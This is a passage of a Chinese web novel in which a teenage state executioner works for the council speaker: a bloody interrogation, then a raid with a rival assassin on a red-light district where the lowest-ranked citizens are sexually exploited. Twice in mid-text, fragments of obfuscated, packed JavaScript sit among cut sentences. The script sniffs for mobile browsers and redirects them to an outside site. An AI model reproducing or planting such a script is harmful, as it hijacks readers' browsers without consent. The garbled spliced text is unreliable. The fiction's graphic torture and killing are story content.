“你怎么说话的?子琛也是为了这个家好——”另一名奢华打扮的老人开口,被目光一扫,讪讪闭嘴了。 “但这种照片传出去,以后薛家人的脸往哪放啊。”有人小声道。 “是啊是啊,我今天去沙龙,别人都在背后笑我。说家里出了一个……” “注意言辞。”贵妇人瞪过去。 “呵!说家里出了一个花花公子就算了,大家都是A级公民,会玩点不要紧。但可惜,谁叫薛子琛被脱光了绑成那样,一看就是被玩的那一个——” 声音又响又亮,提高八度,撞到墙上都能碎成几块。 薛柏寒站直身。 房间里的薛家人都默默一凛,齐齐噤声了。 薛家地位能水涨船高,全靠的是薛柏寒,他说的话,就算再不愿意,所有人都得听。 议会长相当于联邦的最高指挥官,薛柏寒气势自然逼人。 他撩了撩眼皮:“叫林又茉来一趟。” ** 林又茉起来洗澡完,换衣服时,季相兰醒了。 季相兰托扶着额头,朦胧看她,他衣衫散乱,胸前暴露在空气中一点红艳艳一片,肿得糜烂。感受到身体上的疼痛,季相兰不用看都知道成了什么样,他拢衣起来,幽幽叹息:“就知道还是小混蛋。” 今天还要出席活动,得贴个贴才行。不然被粉丝拿着放大镜发现大明星前两晚上给人喂奶,不知道舆论成什么样。 季相兰倒是不在意,但不能惹金主代言方不高兴。 “你在想什么。”察觉到季相兰走神,林又茉难得开口问。 季相兰叹气:“给小混蛋赚奶粉钱。” “……?” 落地镜前,林又茉停下动作。季相兰的卧室有一面不规则形、足足有半面墙宽的镜子,将室内映得一览无余。 季相兰比她高一个头,将下巴抵在林又茉头顶,从背后把她拢进怀里,怜爱又疼爱:“起这么早,想吃点什么?” 林又茉发烧,在他家呆了两夜,季相兰自然是欢迎,他无微不至地照顾,寸步不离,就快把自己融进她身体里,可惜林又茉是林又茉,床上不近人情得可怕,只有床下才任他捏圆搓扁,乖得可爱。 林又茉前一晚退烧,就折腾了他直到半夜,两晚没怎么睡的季相兰最后不得不真的柔声硬声齐使劲,颇有点恨得牙痒痒。 好歹再叫他一声哥哥呢? 那个乖巧黏人的林又茉被夺舍了? 但,现在。镜子里的乖巧小女孩又跟他对视了。 林又茉抬起眼:“我今天要去议会。” 林又茉的声音很慢,平静,她声音也乖乖的,语调像告诉父母要去上学一样的小女孩。 “议会?” “议会长的通知。” 季相兰怔了下,双手绕过去对着镜面替她整理她的领结,他弯了弯唇,“好啊,给我带点纪念品,随便带几根人的手指。……开玩笑的,不是真的带。” 听到这句,林又茉的睫毛才微微眨了一下,她说:“哦。” 林又茉真的会给他带手指。 季相兰拍戏拍得多,假道具见过不少,混这个糜烂的娱乐圈子,真的也大差不差见过几次,林又茉上次从袋子里掏出一枚打包好的真眼球时,饶是什么都见过点的大明星还是定住了。 当时季相兰盯着那枚眼球,缓慢地眨了下眼,无奈弯唇:“我说想看他的眼睛有多有神不是这么看……但也不错。” 有的死人丢失了一只眼睛,但他收获了爱情。 季相兰觉得林又茉像一只漂亮猫猫,会按照自己理解给他带小礼物呢。 多可爱呀。 “不过如果是薛柏寒的眼睛,还是给我带一只吧。”季相兰轻描淡写,弯起唇,扯了下丝带,替她打好了领结。 镜子里,他撩起眼,和林又茉的视线对视上。 薛柏寒是议会长,也是林又茉的顶头长官。 换句话说,是联邦里唯一权限比她高的人。 季相兰不懂政治,但……没有人不讨厌指手画脚,还随时叫人出勤的上司。 ** “欢迎大家来到议会宫!” “这里是联邦的政治中心,联邦议会长平日工作、各级官员对议会长进行汇报的地方,同时,跨过窗后这里的花园,这里也是议会长平日里居住的府邸,看,就是那栋富丽堂皇的白色建筑,是议会长的家。” “议会长享有联邦最高的官职,对所有的联邦官员具有质询权、罢免权、问责权、任命权,没错没错,议会长就是联邦里最大的官啦。” “但他的这些权力只对一个人除外——这个人是谁,有没有小朋友知道?” 议会宫对外开放区域,一群五六岁大、父母皆是A级公民和B级公民、经过严格背景筛查,确保他们是绝对优秀公民后代的小孩子们呼啦啦在走廊里挤成一团,眼睛圆圆地瞪大:“?” 他们集体穿着的黄色小衣服,戴着小黄帽,像一大团法式蛋糕。 “我我我!”可爱的小孩也有表现欲,法式小蛋糕们开始弹跳,“选我选我!” “老师我知道!” “我知道!” “我先举手的!” “我姑姑是执安局长,把你抓起来!” “我爷爷是税务署署长,没收你家的钱!” “我奶奶……” 几个富二十代们打起来,角落里一个扎羊角辫的小女孩慢吞吞舔着一个棒棒糖,有些迟钝,对小鸟争宠毫不感兴趣。 一道黑发少女的身影慢慢停下在她旁边,走廊前方拥堵,她不喜欢人多,站住,安静等待。 “是执刑官!” “答对啦,老师奖励你一颗深海产出蔚蓝IIa级4.7克拉钻石!” “好耶呜呼!” 小女孩慢慢舔了下棒棒糖:嘶溜。 林又茉看她一眼。 “就像我们刚刚获得上将军衔的布莱登将军家的三少爷小布莱登说的一样,没错,唯一一个议会长无法罢免的人就是执刑官。” “执刑官是独立于议会外的存在,家族世袭代代继承,不由议会长任命,也不对议会长负责。她拥有最高执法权,在议会长犯法的情况下,甚至可以依照法律对议会长进行处罚。” “也就是说,虽然执刑官在职级上听从议会长的命令,但这仅仅基于议会长不犯法的原则上。” 小女孩又慢慢舔了一下棒棒糖:嘶溜。 林又茉转过来看她。 “可以说,执刑官,是联邦司法制度的一把刀,所以,也被人叫做‘刽子手’。” “但你们要小心哦,如果你们一旦犯法,刽子手可是会半夜爬到你们家来把你们的头切掉的哦!” “呜呜呜啊啊啊!”小萝卜头们吓哭一片。 “我不要掉头!”“我喜欢我的头!”“切小布莱登的头!”“干嘛切我的头!” 一片闹哄哄之中,小女孩仍然慢慢舔棒棒糖。终于,身边的黑发少女跟她搭话了。 “你好。”少女的声音很淡,弯下腰来,歪过头,“你在吃什么?” “唔唔……棒棒糖。” “可以给我看一眼吗?” 小女孩把嘴巴里的棒棒糖叭地拔出来。 “刽子手好可怕呜呜呜!母亲经常讲她的故事,我分不清蓝宝石和玻璃的区别刽子手就会把我抓走!” “我父亲也是,如果我不能学会一天花掉五十万,刽子手就会把我的手割掉!” 林又茉专心地看了看棒棒糖。 小女孩期待看她:“温柔的姐姐,你也喜欢吗?” 林又茉点头,把糖装进袋子里:“喜欢。” “那你……” “我没收了。 “?!” 小女孩在走廊里嚎啕大哭。 林又茉停下在被拦住的围栏前。 守卫从号啕大哭的小孩身上收回视线,猛咽口水:“执……执刑官大人。” 执刑官就这么欺负小孩吗? 林又茉:“我想找薛柏寒。” 守卫:“您的话,不需要排队跟着平民们走平民入口的。这边有专门的电梯,直达议会长的府邸。” 林又茉露出了有些困惑的表情,但她还是礼貌道:“谢谢。” 在她走后,守卫们悄悄嘀咕。 “等一下……她是不是从没来过议会宫?连专门入口都不知道?” “不会吧,薛议会长加冕礼她也没来?” “没来。” “那前一任议会长的呢?” “也没来。” “?!这么狂?那年初、年中、年底述职呢?新年晚宴呢?各类晚宴呢?议会长办的,不能不来吧?” “……” “你觉得呢?” “我多余问。” 几人絮叨之际,见林又茉忽然去而复返,守卫们立刻站得笔直。 “帮我一个忙。”林又茉说。 她拎起了手里的袋子,轻微停顿,眼睫垂下,“这个,帮我买一份。” ** 哗。 厚重科技感的大门打开,林又茉接受了对她没有用的安全检查:检查机器自动报错,【权限干扰】——一个机器对于权限更高级别的人的无力呻.吟。 于是林又茉出示了执刑官的证件,全程配合安静,吓得安保人员大气不敢出。 林又茉到达薛柏寒办公室时,薛柏寒正站在房间一侧与人谈话。她到的很准时。 房间里有四个人。 薛柏寒,薛柏寒交谈的人,薛柏寒的秘书,以及她。 与薛柏寒交谈的人是财政署局长,见林又茉进来就止住了话头,但薛柏寒仍然哈哈大笑,没有停下谈话的意思,财政局长只好陪聊,但绷紧的下颚,紧绷的肩膀,防御性的扶手,都显出了局长的不安和拘谨。 林又茉像个安静的摆件,站在那,一言不发。 直到二十多分钟后,薛柏寒才大手一挥,将大腹便便的财政局长放归山林。 财政局长飞一般逃出办公室,屁股后像有火在烧。 “执刑官。”薛柏寒视线终于落到林又茉头上。 “议会长。”林又茉点头。 “等久了?” “还好。” “是么。” “都是工作时间,工作内容。”所以做什么对林又茉都一样,林又茉想起他的口癖,“长官。” 薛柏寒愣了下,在身后秘书惶恐的目光中,露出耐人寻味的表情。 熟悉议会长的人都知道,让他感兴趣的人或物一般都不会有什么好下场。 “议会长,”秘书低声提醒,“现在您的日程是去……您看您是不是先处理——”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710235|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不用。” “林又茉在这。” 薛柏寒将平板递还给秘书,盯着林又茉道,“这件事还有比交给‘刽子手’更好的选择么?” ** 林又茉没想到薛柏寒让她来的地方是囚室。 高高在上的议会宫,地下室竟然是监狱,关押的是议会长最心系的敌人。 每间牢室密不透风,不开灯就漆黑一片,林又茉走进去盯着那些豪无缝隙的墙壁,想起当初那个死在这里的神官。 一群穿着深色制服、面色倨傲的人出去,林又茉认出是监狱审讯那群人,他们跟她一向不太对付。他们认为她被民众神化,权力过大,削弱了联邦政府职能机构的权威。 林又茉觉得他们工作久了学会了狗叫。 林又茉走进囚室。 一个看不清面容满脸血痕的男人垂头坐在那,表情狰狞,华丽的衣服、配饰肮脏污浊,见到有人进来发狂大笑,笑得脸上伤痕裂开,血液哗啦啦往下流。 “你们这群——杂种!我绝不会告诉你们一个字,绝不!” “无论你们怎么对我用刑,我都不会说!你们绝不配从我这得到一个字的答案!你们以为身体上的刑罚就对我有用吗?笑话,天大的笑话!我绝不会为这点小伤就屈服!你们都是白用功!” 林又茉停在血泊边缘前。 “罪名?” “通敌、卖国、非法贩卖军饷。” 薛柏寒漫不经心,“哦对,还有十年前闯过一次红灯。” “……” 肮脏男人停顿几秒,嘶吼尖叫,“薛柏寒,你这个杂种——杂种!你竟然敢以权谋私,你竟然敢这么对我?!” 林又茉看了看男人的脸,认出他是薛柏寒以前的政敌。 政治游戏残酷,成王败寇,很显然,在薛柏寒当选议会长之后,这些曾经的劲敌都会被他慢慢清算。 薛柏寒笑了:“不能违反交通规则,你不知道么?” “你——” 但肮脏男人很快闭嘴,因为林又茉向前了一步。 牢实内幽幽的侧灯将林又茉的脸照亮一片,阴影中,她纯洁天真,似鬼似魅。 肮脏男人狠狠用力闭嘴。 显然知道她是谁。 林又茉垂眼慢慢将平板上的证据看完,跟上司理论:“这不是我的工作范围。” 法律有司法署和治安署判罚执行,不需要她。 薛柏寒:“但只有你能做到。” 林又茉抬眼看他。 “那些监察的人毫无结果。” 薛柏寒似笑非笑,“如果鼎鼎大名的刽子手亲自来也没用,问不出军武贩卖的对象,那我得怀疑这个职位是不是还有设置的必要了。” “你说是不是,执刑官?” 林又茉停顿两秒:“好的,长官。” 她戴上了手套。 椅子上的肮脏男人剧烈挣扎起来。 黑发少女戴上手套的姿势娴熟、缓慢、优雅,几乎让人看了会入迷,但对林又茉,这只是准备工作的普通一步。 刚要动作,少女又停下来。 “您要留下来看么,长官?” 秘书两股战战,往门边蹭。 薛柏寒已经靠到阴影里,高大身影神情不清。 “当然了。”传来他慢条斯理的声音,“这是我的荣幸。” “好。” 林又茉没有在意,向前一步,“那我开始。” 薛柏寒看她的目光缓缓定住。 林又茉工作时心无旁骛,对周遭一切漠视漠然,并不在乎,宛如指挥家面对她的乐谱。 她低下头。 …… …… …… 牢室内空气浓重、厚重、带着剧烈的血腥气。 看守的护卫吐了一批,换了一批,随着声响传来,秘书已经肠胃翻腾,一张膏药一样贴在铁门上,想将自己从门缝挤出去,不断说服自己看到的都不存在。 人人都说刽子手残忍,可她竟然看起来温柔。这难道才是她恐怖的地方? 在某一瞬间,恍惚的瞬间,秘书竟然觉得躺在她手下或许是一件幸福的事情。 因为她的神情太恬淡了,那样漂亮的一张脸,这样持久的注视,也许在某一种情境下或许就是幸福呢? 不知道过了多久,或者几个小时,几刻钟,或者只是短短的几分钟,秘书终于从恍惚中回神回来,林又茉已经在收尾。 她的手很轻,很稳,戴着手套按在那个人的眼下,将那颗眼神无神的头颅抬起来。 她的动作很温柔,甚至像在对待情人。 “武器交易的对象问到了。”她说。 “你做得很好。” 薛柏寒说,“对了,有件事我忘记说了。” 林又茉看他。 “他一直以来的性幻想对象是温臻。” 嚓一下,一把直刀扎入了囚犯的面颊! 动作太快,像是即时反应,所有人都没反应过来,血唰地溅出来,飙到她脸上,宛如鬼魅。 那把刀直接穿透了那个人的脑袋。 林又茉垂着眼,手握着刀柄,慢慢拔出来:“失误了。” 比起之前的温柔,刚刚那一刹的凌厉反差鲜明过大,让人仿佛勘到了恶鬼面具下的一角。囚犯面容扭曲,痛苦痉挛,在尖锐的一声抽气后结束了呼吸。 囚室内无比安静。 薛柏寒呼吸急促,他为自己看到的那一幕兴奋、血液加快,嘴角的笑容扩大,他看到了破绽,破绽——刽子手的破绽—— 林又茉那双黑眼睛转过来看他。 薛柏寒笑起来,几乎怜悯:“原来是这样。” “原来你的弱点是……温臻。” 6.第 6 章 “原来传闻是真的。”薛柏寒道。 不近人情的刽子手,唯一在意的是幼年短暂抚养过她的人。温臻真的养育过她——这个答案不可思议又合理地令人意外。 可是什么时候?温臻足不出户,他们是怎么联系上的? 但或许林又茉只是一个狂热的信徒?薛柏寒也不否认这种可能性,但他要的答案已经得到了。 俄狄浦斯情结*……真是可惜。 守卫一下把林又茉团团围住。 狭小的囚室内,放着一个刚开了颅的死人,以及这个联邦的议会长和执刑官。如果这不算重大安全危机,不知道什么该算是了。 “执刑官……您冷静!”秘书叫道,“不要冲动!” 林又茉没有表情。 她明明什么都没做。 她把手里的刀抬起来——还挂着脑浆——守卫们脊背一凛。 林又茉把刀放到一边——守卫们神情一松,微微放松,但没有完全松懈。 听说刽子手没有武器也可以徒手杀人,谁敢掉以轻心? 而林又茉只是问:“人死了,需要怎么处理?” 在被所有枪口指向时,林又茉显得很安静。少女的脸被顶光照亮一片,光线中,她的瞳孔瞳仁没有丝毫变化。 像这些话语对她没有任何意义。 她说:“囚犯死了。如果需要,我可以处理后续。” 薛柏寒问:“怎么处理?” 林又茉:“找到那些名字后面的主谋。” 这本来就是她的工作内容之一。她是法律具像化的武器,宰割那些罪人。私下贩卖军火是死罪。 她明明站在世俗正义的一方。 发现问题——解决问题,这是林又茉的逻辑方式,简单但有用。 世界上90%的事可以用这个公式解决。剩下10%如果解决不了,那么林又茉还有开枪的权力。 林又茉摊开双手:“您希望我怎么做。长官?” 她歪了下头:“您是希望我继续工作,还是您想为您侄子的丑闻,向我报仇?” 囚室内陷入诡异的沉默。 刽子手两手空空,但没人觉得这是种和平的象征,尤其在大多数人亲眼目睹了这牢房里的一切之后。 侄子的丑闻——没错,林又茉在来之前,就知道这该是一个下马威。她把薛子琛绑成生日气球,可惜没有人理解她的幽默。薛柏寒也许不在乎他侄子是不是被玩死,但议会长的脸面是另一回事。 林又茉是横在他心上的那根刺。 囚室里诡异的沉默加剧。 守卫和秘书的呼吸声加重。没有人愿意看到任何一方受到伤害的场面,但他们毫无疑问站在议会长这一方。 议会长代表联邦,而执刑官她只是……一个人…… “砰!”一声剧烈的枪响! 一道子弹嗖地划破空气,命中额头! 守卫们如临大敌,场面骤然一片混乱。 林又茉纹丝不动。 她慢慢扭头看去,刚刚被开颅的囚犯头上赫然又多出了一个新鲜冒烟的弹孔,堪堪掩盖住原本的刀伤,盖住了她的失误。 被射击的是囚犯。 薛柏寒慢条斯理地摘下手套,将枪递还给守卫。 议会长亲自开的枪,颠倒事实,一切盖棺定论。 没有人会发现她的失误。 高大伟岸的男人灰色眼瞳淡漠,离开时声音平静:“你找到主谋。一笔勾销。” “——带上‘红刀’。” 在林又茉走出囚室时,这句话把她定在了原地。 ** “红刀”,是一个人的代号。 他像林又茉的翻转面。 如果说“刽子手”林又茉大名鼎鼎,不苟言笑,那么“红刀”更像一个阴影里的影子,只在圈子内闻名,笑面虎。 杀人时笑嘻嘻——林又茉不明白为什么那些人不叫他愉悦犯,而把这个名头安在她头上。 明明她从来不笑。 “红刀”直接隶属议会,替大人物们处决敌人,执行任务,但可惜同样受法律保护,林又茉与他几乎没有交集。 ……但“红刀”并不这么想。 就譬如,之前审讯失败的那些深色制服,就是“红刀”的手下。林又茉半小时内完成了他们搞不定的事,自然引来敌意。更不用说过去无数任务,只要能用林又茉的,几乎都会选她。 换言之,红刀单方面把林又茉当竞争对手死对头,争锋相对、恨意滔天、不死不休。 而林又茉觉得红刀是个不太好相处的同事。 没有人喜欢跟这样的同事出外勤。 “嗖——” 一声破风声。 街口风很大。 今夜刚下过雨,狂风卷席,都城的夜晚霓虹色彩。高楼大厦和呼啸而过的空中列车和无人机映在地面的雨洼里。 夸张的电子荧幕切换着海报与广告,妩媚的人影与暧昧的广告词让人着迷,性感暴露的画面令无数人驻足。在这个时代,购买可以买来一切:虚假的爱情、短暂的欢愉、深情的爱人。 “唰”一声,广告换成季相兰,美丽的金发男人一副人夫打扮,在浴室里弯眼温柔地对着镜头笑,引起行人一片口哨, “亲爱的,我在浴室里等你——” 嚓。林又茉抬手接住扔来的小刀。 她转过脸,看向走来的男人。 男人——与其说是男人,不如说是少年,“红刀”不愧是她的翻版。 红刀从雨里走来,黑发凌乱,身型在少年和青年之间,红色的衬衫背着把黑色的刀,脖子上绑着个黑色颈环,看到她就笑,露出两颗虎牙。 红刀一双桃花眼笑眯眯:“好久不见呀执刑官。我好想你,你想不想我?” 林又茉手里还握着他刚刚扔来的小刀。 不得不说,边界感不强。 林又茉:“许久不见。” 红刀绕着她走了一圈,量她的身高:“你好像还是小矮子,还是没长高,是不是已经过了发育年龄了执刑官?” 林又茉:“你也不赖。” 红刀歪头:“嗯?” 林又茉:“胸围没变。” 红刀气乐了:“你说我胸小?” 少年阴恻恻地低头盯她,牙痒痒。 “嗯。”林又茉点头,平静得让红刀有一瞬怀疑自己。 “走吗?” “走。” 两人向着面前的建筑群迈去。 在鳞次栉比的大厦之间,面前的这块区域显得格格不入,古代建筑低矮,古旧,亮着漂亮的灯笼,亭台楼阁像某个不知名时代的特色风格,令人眼花缭乱的霓虹灯在灯笼下闪烁,穿着各异的招待带着恰到好处的微笑。 红灯区。 销金窟,温柔乡。 红刀打了个响指。 “你来过?” “当然。”红刀大大咧咧地说。 少年胳膊枕在脑后,伸了个懒腰,红刀长了张妖媚的脸,跟这个地方相得益彰。 “红灯区嘛,来着来着就来习惯了。执刑官,你不会从来没来过吧?这可是都城的著名打卡景点之一。” “没有。” “我忘了,你还没成年多久。”红刀故作惋惜道,比了比她脑袋的位置,刚好到他胸口。小萝卜丁。 “可能进门你还要被查证件。毕竟有些人看起来就像个未成年,回去说不定还要哭哭啼啼做作业。” 林又茉:“这次行动不能打草惊蛇。” “好了好了知道了。”红刀耸耸肩,为她没有幽默感而遗憾,“我就是开一个玩笑。东西都准备好了,喏。议会出品,保真。” 红刀手指一翻,夹出一枚假.证件,精细如新。 林又茉收好证件。 刽子手名气太大,林又茉出现在哪里都引起人群轰动,所以这次不能她出面。 林又茉准备好假发换装要往头上戴,被红刀拦下。 “不用这么麻烦。”他说,转手从不知道哪儿扯出来一个面具,扣在了林又茉脸上。 面具像画出来的,五官简笔画,像艺术表演用的。 戴上面具的林又茉虽然看不到脸,但身型、制服、以及装束,都不难看出是她本人。 林又茉:“……” 红刀悠悠笑,意味深长:“等进去你就知道了。” ** 红灯区常看常新。内容日新月异,分区却是一早划分好的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722394|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红刀带着林又茉穿梭在里面闲庭信步,悠闲地像在自家后院散步,橘黄灯笼下楼梯上时不时还有人屈膝跟他打招呼,叫红刀的名字,红刀笑眯眯一概全收。 红灯区由联邦监管,收取税收,但实际控制权并不在联邦手上。 A级公民在联邦凤毛麟角,权利滔天,关系错综复杂,究竟是哪个人实际在掌权,过了几百年的变化,已经没人知道背后的老板是谁。 联邦议会长是选举换届制,不过几十年的任期,没人会为了几十年跟一个深不可测的庞然大物较劲,于是每一任议会长都睁一只眼闭一只眼,几乎放任自流。 但囚室里死去的囚犯,给出的名字就是红灯区明面上的主管,李七。 “可惜他们做什么不好,非要搞军火呢。”红刀说,“这是议会忍不了的事情。这么来钱的生意,可惜了。” 红灯区雅俗共赏,有高雅的只可远观不可亵玩,就有暴烈粗俗的那一面。 红刀带着林又茉走进亭台楼阁深处,本来典雅的橘红色灯笼被更艳丽的红色替代,走进一间只有墙的大厅,无数的人影攒动,各种响声齐聚。 林又茉停下脚步。 墙上洞里的都是E级公民。他们卖力干活,脸上露出讨好迷醉的表情,脖子后方显示着一行清晰的字体: 【E级公民,信用点:-xxx】 每当有一位客人结束,按下好评的按钮,相应E级公民脖子后的信用点就会跳动+1。 因为这样的激励,E级们感激涕零,工作得更加卖力。 林又茉那天看到被警察枪击坠地的黄毛也在其中,一头黄毛已经被喷洒地看不出颜色。 “只要信用点挣到正数,他们就可以脱离E级公民的行列,成为D级了。不然只能一辈子在这当公用烂泥。” 红刀语出惊人:“这样增加信用点的方式也太容易了,如果B级到A级也这么简单,我也愿意在这里天天接客,直到升级。” 少年妖媚的脸上,眉宇间尽是可惜。 察觉到林又茉的视线,红刀乜她,语调轻飘飘:“我不行么?” 红刀有一双桃花眼,睨人时艳意横生,唇色红艳,是很适合干一切事情的唇形。 少年脖颈后方,隐隐约约浮现一行字:【B级公民,信用点:2812】。 他意外地会受欢迎。 林又茉:“那你要接688次。” 红刀“喔”了声,弯下腰来问:“那执刑官你会来光顾我么?我会好好招待你。” 林又茉:“那还剩687次。” 红刀:“我会算数!”他再一次为林又茉没有幽默感恨得牙痒痒。 林又茉:“不知道呢。” 红刀:“!!” 红刀忍住要揉乱林又茉头发的冲动,哼了句“小丫头”跟在林又茉身后迈腿走出去。 越往里,色彩越浓烈,分区越复杂,监管力度越小,无数不该出现的内容都在出现。 譬如……宗教。神官仿制品是高级违禁品,所以没有人会明目张胆打着神官的名号揽客,但白袍金发的男男女女,建造成神殿一般的建筑风格,让人有种吃代餐身临其境的错觉。 有一个人长得像温臻,绿眼睛像温柔的湖。 林又茉只看了一眼就移开了视线。 倒是红刀盯着神殿构造啧啧称奇,看了好几秒才移步离开。 走到最深处一处楼宇,林又茉停下脚步。 这是一栋特殊的建筑。整栋楼只卖一样东西。 林又茉慢慢抬起头,面具正应对着大门。 她明白为什么她仅仅戴上面具,却不会被发现的缘由了。 在正门的大门口,竖立着亮着幽光的展示柜,里面泡着一具跟她相同打扮,一比一大小的……人偶。 哗,大门打开,几名跟她一样黑发制服模样的人在楼里行走,脸上戴着不同的面具,这些人拿刀,拿鞭,拿绳,各自牵着痴迷模样的客人,那些人以被虐待为乐,时不时发出古怪的惨叫。 林又茉甚至看到了几名民间反对她最厉害的公众人物。爬在地上,像狗,叫着她的名字。 红刀走到她身边,发出愉悦的笑声:“执刑官大人……你其实,超级受欢迎呢。” 7.第 7 章 “无趣。” 林又茉只看了两眼,就给出了评价。 她移开视线离开,丝毫没有任何留念。 “执刑官,你不好奇?”红刀的声音响起。 “好奇什么?” “那些人的……” 红刀本来想说那些人的古怪性癖,或者是怪异的心路历程,又或是那些见不得人的肮脏念头,但话到嘴边又觉得没意思……很讨厌,他被执刑官的没幽默感传染了。红刀耸耸肩,还是咽下了。 他只是说:“还有一个大型盲盒投币机呢,运气好能抽出跟你相似的等身人偶。” “噢,是吗。” “执刑官,难怪你每次都是一个人活动呢。就你这张嘴,是个活人都能闷死。” 林又茉对红刀幽幽的抱怨不置可否,她并不喜欢说那么多的话,就像大多数时候她也并不在听别人说话一样。 红刀从记忆里搜索地图:“李七办公室的平面位置就在这里,但他的办公室在顶层,楼里安保非常严密。我们得想办法绕开保镖,利用视线盲区找到潜入的路径。一旦被发现,后果会很不好看,我们唯一的优势是红灯区没有监控……”他话还没说完,看见林又茉随手用灯柱砸碎了走廊尽头的窗户玻璃。 哗啦啦,玻璃碎片落了一地。 红刀扬起眉毛,惊愕地看着少女单手翻出去,撑着窗棂,她的身后细雨绵绵,远处都城的霓虹灯和近处的橘红色灯笼交映成一片,有一种独特的赛博未来感。 呼啸的风吹起了她的黑发,白色面具染上了一层夜色。 “你恐高吗?”她说。 ** 一路向上跳跃,上到最顶层的房间,林又茉才停下来。阳台上站着两个彪形大汉,林又茉打晕一个,红刀趁另外一人没反应过来也放倒一个。 “如果有机会,我们说不定是很好的搭档呢。” 林又茉瞥了眼,没说话,她径直推开门,走进房间。 两声消音后的枪响,来自里面人的反击。红刀倏地偏过身,躲闪掉子弹的轨迹。 “……真是不管我死活。”他叹气,但动作也没闲着,红刀走进屋内,花了两秒夺掉开枪人手中的枪,“嘭”,第三声枪响,对面眉心开了一个洞。 林又茉瞥来视线。 红刀低头看向倒在地上死不瞑目的兔爷。刚刚就是这个看似柔弱的人向他们开的枪。 “他看到我的脸了。”红刀若有所思。 他摊摊手,表示非杀不可。 “别杀我,别杀我,别杀我,我什么都会干……” 颤声从房间另一头传来,肥胖的中年男人躲在椅子背后,整个身子抖如筛糠。 红刀“噢”了声:“那他也看到我的脸了。” 黑洞洞的枪口对准李七,李七吓得六神无主,连连尖叫。 林又茉:“红刀。” 红刀哈哈大笑。 “干嘛点破我……我就想吓吓他。”他无不惋惜地抬了抬手枪,走到一边随手翻起了桌上的文件。 林又茉拿出那枚透明柱体状的芯片,找到服务器,插.入进去。 随着数据传输,柱体亮起淡淡的金色。 房间里弥漫着淫.靡的气味,像大量的事后。 林又茉对这个红灯区明面上的主管的私人生活并不感兴趣,她垂眼注视那枚芯片,准备在传输完毕后就立即离开。 房间另一头,红七正在折磨可怜的受害者。 “我砍断你一根手指,你告诉我一个秘密好不好?” “不、不……求求您了,求求不要杀我……”李七声音带着哭腔。 “一根手指一个秘密,很划算对不对?毕竟只是手指,不是什么重要的东西。” “不不不!……求您了!……” “好吧,那我大人有大量,我不砍你的手指,我问一个问题你答一个问题,但你有任何犹豫我就砍断你一根手指怎么样?” 被pua的受害者立刻上钩:“好、好,您说什么就是什么……” 红刀满意地点点头。 “第一个问题,这本账簿上的数字是什么意思?” 李七卡住了:“呃……” “嚓”的一声,手起刀落,李七发出尖锐惨叫,声音过于刺耳。 “我要实话。” “实话、实话……” “嗯?看看我在这本文件上发现了什么?倒卖.军火?” 红刀是真的惊讶了,“你还是真的有勇气,就算在这么仁慈的联邦法律下倒卖.军火也是一顶一的死刑……” 背景音过于嘈杂,林又茉眉间略过一丝不悦。 她的洁癖在发作。 李七仿佛找到救星一般,找到机会,向她这里跑来求救,似乎是因为之前她没动手,让他误以为她是个心软的人。 “求求你!妹妹……小妹妹,我有很多钱,你救救我!我可以让你富可敌国!求求你!不要让他杀我!” “我还有游艇、星舰,地皮、奴隶……” “我还有孩子,二十三个孩子!没了我他们会家破人亡!你可怜可怜我!” 红刀看好戏一般,看着他即将把手贴上林又茉的小腿。 林又茉垂下眼,空洞的面具淡漠:“我要你的二十三个孩子做什么?” 李七脑袋一愣:“不是,我的意思……” 红刀发出尖声大笑,几乎笑断气。 “天啊,天啊,执刑官!我以为你没有幽默感,真是我的失策,没想到真正的好戏在这里……” 聒噪的同事。 跟夏天的蝉鸣一样。林又茉不关心他为什么笑。 就在这时,轻微的“嘀”一声,芯片亮起全金色,又恢复透明。 传输完成。 林又茉直接扯下芯片,转身准备离开:“走了。” “好,你先走,我殿后。”红刀转转手里的手枪。 林又茉瞥了他一眼,毫不留念地走向阳台,翻身下滑。 风声呼啸,一路下滑,快到底时,突然,头顶“轰隆”一声,大楼顶层爆炸的烟火明亮炸开。 爆炸像巨大的烟花,这一响声震耳欲聋,几乎就在同一时刻,林又茉听到红灯区无人机发出尖锐警示的翁鸣。 几乎所有大楼顶部的探照灯都被打开,大片直线式的红色监测灯光袭来,在楼层高处扫描。 红灯区的警力并不直属联邦,属于私人管控,换言之,都是敌人。 林又茉短暂停顿。 下一刻,一道矫捷的身影从上一跃,几个攀爬跳跃,出现在她身侧,是半张脸脏黑的红刀。 他衣衫散乱,黑发凌乱,明显受到了爆炸的波及,手臂一节血肉模糊,林又茉闻到风里带来的浓重血腥味。 他受了重伤。 “你的任务是拿到芯片。而我的任务是清场杀掉所有人。” 红刀冷静道,“现在我知道去哪安全,跟我来。” 红刀难得没有笑容,林又茉花了不到半秒作出答复:“好。” 两人投身进红灯区的街巷中。 这个区域很大,鱼龙混杂,不光有光鲜亮丽的亭台楼阁、上层公民的销金窟,更多的是无家可归的E级公民,肮脏的街巷,低矮的民居,街上排放着污水,恶臭的腥臊味从各处传来。头顶无人机的扫描警报声呼啸,许多处没有灯,两人完全在黑暗中行进。 红刀穿梭得飞快,走的路径熟门熟路,林又茉跟在他身后,内心在想红刀说的没错,他的确对这个地方了如指掌。 这些经验该不是来自花街的享乐。 两人终于停在一处逼仄的屋子。 